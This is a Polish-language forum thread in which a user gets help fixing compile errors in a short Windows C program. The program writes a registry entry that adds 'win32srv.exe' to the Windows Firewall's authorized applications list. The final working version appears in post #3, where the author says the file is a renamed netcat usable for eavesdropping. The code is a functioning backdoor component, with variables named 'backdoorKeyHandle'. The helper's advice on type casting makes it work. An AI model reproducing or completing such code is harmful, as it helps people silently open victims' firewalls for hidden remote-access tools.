Pokaż wyniki 1 do 4 z 4

Temat: problem z kompilacja

  1. #1
    Zarejestrowany
    Mar 2008
    Postów
    2

    Domyślnie problem z kompilacja

    Witam moze mi ktos pomoc w kompilacji tego programu ... kompilator wywala takie błędy ..

    :10:48: warning: unknown escape sequence: '\040'
    : In function `int WinMain(HINSTANCE__*, HINSTANCE__*, CHAR*, int)':
    26: error: invalid conversion from `const char*' to `const BYTE*'
    26: error: initializing argument 5 of `LONG RegSetValueExA(HKEY__*, const CHAR*, DWORD, DWORD, const BYTE*, DWORD)'

    Process terminated with status 1 (0 minutes, 9 seconds)

    Program

    #include <windows.h>
    #include <string.h>
    int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {
    LONG registryOperationStatus;
    HKEY backdoorKeyHandle;
    //Opis funkcji: http://msdn2.microsoft.com/en-us/library/ms724844.aspx
    #define BACKDOOR_KEY "SYSTEM\\CurrentControlSet\\Services\\SharedAccess \\Parameters\\FirewallPolicy\\
    StandardProfile\\AuthorizedApplications\\List"
    RegCreateKeyEx(HKEY_LOCAL_MACHINE,
    BACKDOOR_KEY,
    0,
    NULL,
    REG_OPTION_NON_VOLATILE,
    KEY_WRITE,
    NULL,
    &backdoorKeyHandle,
    NULL);
    // if(registryOperationStaus!=ERROR_SUCCESS)
    // exit(0);
    RegSetValueEx(backdoorKeyHandle,
    "C:\\WINDOWS\\system32\\win32srv.exe",
    0,
    REG_SZ,
    "C:\\WINDOWS\\system32\\win32srv.exe:*:Enabled ",
    strlen("C:\\WINDOWS\\system32\\win32srv.exe:*:Enab led")
    );
    return 0;
    }

  2. #2
    Avatar m33
    m33
    m33 jest offline intelektualista
    Zarejestrowany
    Aug 2007
    Skąd
    Gdzie nogi poniosą.
    Postów
    175

    Domyślnie

    Do zamieszczania kodów radziłbym zastosować znaczniki [CODE]
    Bo przy normalnym wklejaniu wywala większość spacji i tabulacji.
    Zmniejsza to czytelność kodu.
    Ja się tu ledwo łapie

    A oto co mówią komunikaty o błędach:

    1. :10:48: warning: unknown escape sequence: '\040' -nieznana sekwencja ESCape
    2. 26: error: invalid conversion from `const char*' to `const BYTE*'
      26: error: initializing argument 5 of `LONG RegSetValueExA(HKEY__*, const CHAR*, DWORD, DWORD, const BYTE*, DWORD)'

      Zapewne trzeba wykonać właściwe rzutowanie typu.
      Próbujesz tu wstawić łańcuch znaków w miejscu gdzie powinna znajdować się wartość typu BYTE!


    PODSUMOWANIE Uważaj na typy parametrów które przekazujesz do funkcji!!
    Ostatnio edytowane przez m33 : 03-10-2008 - 11:39

  3. #3
    Zarejestrowany
    Mar 2008
    Postów
    2

    Domyślnie

    Kod:
    #include <windows.h>
    #define BACKDOOR_KEY "SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\AuthorizedApplications\\List"
    
    int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {
       LONG registryOperationStatus;
       HKEY backdoorKeyHandle;
       //Opis funkcji: [msdn2.microsoft.com/en-us/library/ms724844.aspx]
       RegCreateKeyEx(HKEY_LOCAL_MACHINE, BACKDOOR_KEY, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &backdoorKeyHandle, NULL);
       // if(registryOperationStaus!=ERROR_SUCCESS)
       // exit(0);
       RegSetValueEx(backdoorKeyHandle, "C:\\WINDOWS\\system32\\win32srv.exe", 0, REG_SZ, (BYTE*)"C:\\WINDOWS\\system32\\win32srv.exe:*:Enabled",
          strlen("C:\\WINDOWS\\system32\\win32srv.exe:*:Enabled"));
       return 0;
    }
    teraz jest dobrze , kompiluje sie i program dziala ... program dodaje do wyjatkow firewalla win32srv.exe .win32srv.exe to zwykly netcat ze zmieniona nazwa , mozna go wykorzystac do podsluchu itp

  4. #4
    Avatar m33
    m33
    m33 jest offline intelektualista
    Zarejestrowany
    Aug 2007
    Skąd
    Gdzie nogi poniosą.
    Postów
    175

    Domyślnie

    Cytat Napisał adam_st Zobacz post
    teraz jest dobrze , kompiluje sie i program dziala ...
    No widzisz wystarczyło tylko przejrzeć kod i komunikaty kompilatora.
    Bądź *czujny*, gdy chodzi o typy danych!

Podobne wątki

  1. Odpowiedzi: 9
    Autor: 12-23-2007, 13:23
  2. Problem z kompilacja...
    By Squealer in forum C/C++
    Odpowiedzi: 9
    Autor: 08-08-2007, 11:23
  3. Odpowiedzi: 3
    Autor: 07-18-2007, 17:38
  4. Problem z kompilacja....
    By Squealer in forum C/C++
    Odpowiedzi: 2
    Autor: 04-24-2007, 12:36

Zasady Postowania

  • Nie możesz zakładać nowych tematów
  • Nie możesz pisać wiadomości
  • Nie możesz dodawać załączników
  • Nie możesz edytować swoich postów
  •  
Subskrybuj